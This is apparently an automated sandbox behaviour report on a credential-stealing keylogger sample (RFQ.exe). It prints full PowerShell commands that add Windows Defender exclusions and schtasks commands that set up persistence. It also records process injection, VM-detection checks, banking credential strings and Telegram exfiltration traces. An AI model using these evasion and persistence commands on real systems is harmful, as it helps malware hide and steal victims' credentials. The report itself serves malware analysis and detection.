Source: C:\Users\user\Desktop\RFQ.exe	Memory allocated: 970000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Memory allocated: 2600000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Memory allocated: 4600000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Memory allocated: 87E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Memory allocated: 97E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Memory allocated: 99F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Memory allocated: A9F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Memory allocated: A60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Memory allocated: 2430000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Memory allocated: 4430000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Memory allocated: 85B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Memory allocated: 95B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Memory allocated: 97B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Memory allocated: A7B0000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\RFQ.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5396	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 715	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5157	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 981	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Window / User API: foregroundWindowGot 1776	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Window / User API: foregroundWindowGot 1776

Source: C:\Users\user\Desktop\RFQ.exe TID: 7152	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1476	Thread sleep count: 5396 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6636	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2340	Thread sleep count: 715 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6676	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6844	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1428	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe TID: 5712	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7708	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Users\user\Desktop\RFQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem

Source: C:\Users\user\Desktop\RFQ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\RFQ.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\RFQ.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001465000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW7
Source: WebData.7.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: WebData.7.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: WebData.7.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: WebData.7.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: WebData.7.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: WebData.7.dr	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: WebData.7.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: WebData.7.dr	Binary or memory string: AMC password management pageVMware20,11696492231
Source: WebData.7.dr	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: WebData.7.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.00000000010F5000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001465000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2129145123.000001FC57E24000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2130794496.000001FC5D457000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: WebData.7.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: WebData.7.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: WebData.7.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: WebData.7.dr	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWhcG
Source: WebData.7.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: WebData.7.dr	Binary or memory string: discord.comVMware20,11696492231f
Source: WebData.7.dr	Binary or memory string: global block list test formVMware20,11696492231
Source: WebData.7.dr	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: WebData.7.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: WebData.7.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: WebData.7.dr	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: WebData.7.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: WebData.7.dr	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: RFQ.exe, 00000007.00000002.2126948877.0000000000401000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: vmtools
Source: WebData.7.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: WebData.7.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: WebData.7.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: WebData.7.dr	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWB
Source: WebData.7.dr	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: WebData.7.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: WebData.7.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: WebData.7.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\RFQ.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\RFQ.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ.exe"
Source: C:\Users\user\Desktop\RFQ.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\wOPQRmK.exe"
Source: C:\Users\user\Desktop\RFQ.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ.exe"	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\wOPQRmK.exe"	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\RFQ.exe	Memory written: C:\Users\user\Desktop\RFQ.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Memory written: C:\Users\user\AppData\Roaming\wOPQRmK.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\RFQ.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ.exe"	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\wOPQRmK.exe"	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\wOPQRmK" /XML "C:\Users\user\AppData\Local\Temp\tmpD6E6.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process created: C:\Users\user\Desktop\RFQ.exe "C:\Users\user\Desktop\RFQ.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\wOPQRmK" /XML "C:\Users\user\AppData\Local\Temp\tmpE703.tmp"
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Process created: C:\Users\user\AppData\Roaming\wOPQRmK.exe "C:\Users\user\AppData\Roaming\wOPQRmK.exe"

Source: RFQ.exe, 00000007.00000002.2131302592.0000000003ED0000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.00000000010F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:34:14]<<Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001465000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113--:14]<<Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2131523146.000000000416A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerK-PC
Source: RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001465000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:34:23]<Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.000000000142E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:api.telegram.orgapi.telegram.org3:16]<<Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001465000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: :33:31]<<Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.000000000142E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:33:16]..Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001465000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:34:44]<<Program Managernique_id":"AgADeRUAArwTgVI","file_size":759},"caption":"DC-KL:::user-PC\\user\\8.46.123.189","caption_entities":[{"offset":31,"length":12,"type":"url"}]}}
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001465000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:34:08<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2131302592.0000000003EF8000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2131302592.0000000003ED0000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2131302592.0000000003F8C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:35:12]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2128472558.00000000010F1000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.00000000010E7000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2131302592.0000000003F65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:33:49]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2131302592.0000000003FAD000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2131302592.0000000003EF8000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2131302592.0000000003ED0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:35:01]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 10:33:32]<<Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2134088355.00000000045E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 33:56]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001465000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:34:23<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2131302592.0000000003ED0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:34:37Program Manager>>
Source: RFQ.exe, 00000007.00000002.2131302592.0000000003FAD000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2131302592.0000000003EF8000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2131302592.0000000003ED0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:35:02]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2131302592.0000000003ED0000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.00000000010F5000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.000000000142E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:33:26]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2128472558.00000000010F1000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.00000000010E7000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2131302592.0000000003F65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:33:48]<<Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:33:18]<<Program Managerm Fi
Source: RFQ.exe, 00000007.00000002.2128472558.0000000001108000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:35:02]<<Program Manager>
Source: wOPQRmK.exe, 0000000D.00000002.2131523146.00000000040C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:35:06]<<Program Manager>
Source: RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113--7]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2131302592.0000000003FAD000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2133711770.00000000084C3000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2131302592.0000000003F65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:34:25]<<Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2131523146.0000000004158000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 3:28]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:35:12]<<Program Managerque_id":"AgADfBUAArwTgVI","file_size":3932214},"caption":"DC-SC:::user-PC\\user\\8.46.123.189","caption_entities":[{"offset":31,"length":12,"type":"url"}]}}
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001465000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: <<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2128472558.00000000010BF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerQUWDdOhIko2D
Source: RFQ.exe, 00000007.00000002.2128472558.0000000001097000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.00000000010F1000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.00000000010E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:33:50]<<Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001465000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.000000000142E000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:33:17]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2128472558.00000000010F1000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.00000000010E7000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2131302592.0000000003F65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:33:51]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2128472558.00000000010E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:33:47]..Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.000000000142E000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:33:16]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2131302592.0000000003ED0000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.00000000010F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:34:13]<<Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2131523146.00000000040C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [Lu4HkpsRkZlTYE","file_unique_id":"AgADexUAArwTgVI","file_size":759},"caption":"DC-KeyDataWBeRYorH.txt:::user-PC\\user\\8.46.123.189","caption_entities":[{"offset":48,"length":12,"type":"url"}]}}<Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.000000000142E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:33:27]<<Program Manager>>_l
Source: RFQ.exe, 00000007.00000002.2131302592.0000000003FAD000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2133711770.00000000084C3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:34:26]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2128472558.00000000010F1000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.00000000010E7000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.0000000001108000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:33:47]<<Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2131523146.00000000041B0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:35:06]<<Program Manager>>l
Source: RFQ.exe, 00000007.00000002.2128472558.00000000010F5000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2131302592.0000000003F46000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.000000000142E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:33:25]<<Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001465000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2131523146.00000000040C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:33:35]<<Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001465000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.000000000142E000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:33:18]<<Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.000000000142E000.00000004.00000020.00020000.00000000.sdmp, KeyDataINnKnVhp.txt.7.dr	Binary or memory string: [10:33:29]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2131302592.0000000003ED0000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.00000000010F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:34:28]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113--:35:03]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001465000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113--:33]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2128472558.0000000001108000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.00000000010F5000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001454000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:34:11]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2131302592.0000000003F65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: :35:03]<<Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001465000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2131523146.00000000041B0000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2131523146.0000000004119000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:34:44]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2131302592.0000000003F65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:33:52]<<Program Manager
Source: RFQ.exe, 00000007.00000002.2128472558.00000000010F5000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.000000000142E000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2131523146.0000000004119000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:34:12]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2133711770.00000000084C3000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2131302592.0000000003F65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:34:27]<<Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: $.NET CLR 3.5.3072917]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2131302592.0000000003FAD000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2131523146.000000000412C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 4]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: :23]<<Program Manager>>
Source: wOPQRmK.exe, 0000000D.00000002.2129021812.000000000142E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:33:27]<<Program Manager>>Tc
Source: RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.00000000010E7000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2131302592.0000000003F65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:33:52]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2131302592.0000000003ED0000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.00000000010E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:33:53]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2128472558.0000000001108000.00000004.00000020.00020000.00000000.sdmp, RFQ.exe, 00000007.00000002.2128472558.00000000010F5000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001454000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:34:10]<<Program Manager>>
Source: RFQ.exe, 00000007.00000002.2128472558.0000000001139000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:33:34]<<Program Managern d)Object.prototype.hasOwnProperty.call(d,e)&&(a[e]=d[e])}return a};ha("Object.assign",function(a){return a\|\|na});
Source: RFQ.exe, 00000007.00000002.2131302592.0000000003ED0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [10:34:08Program Manager>>
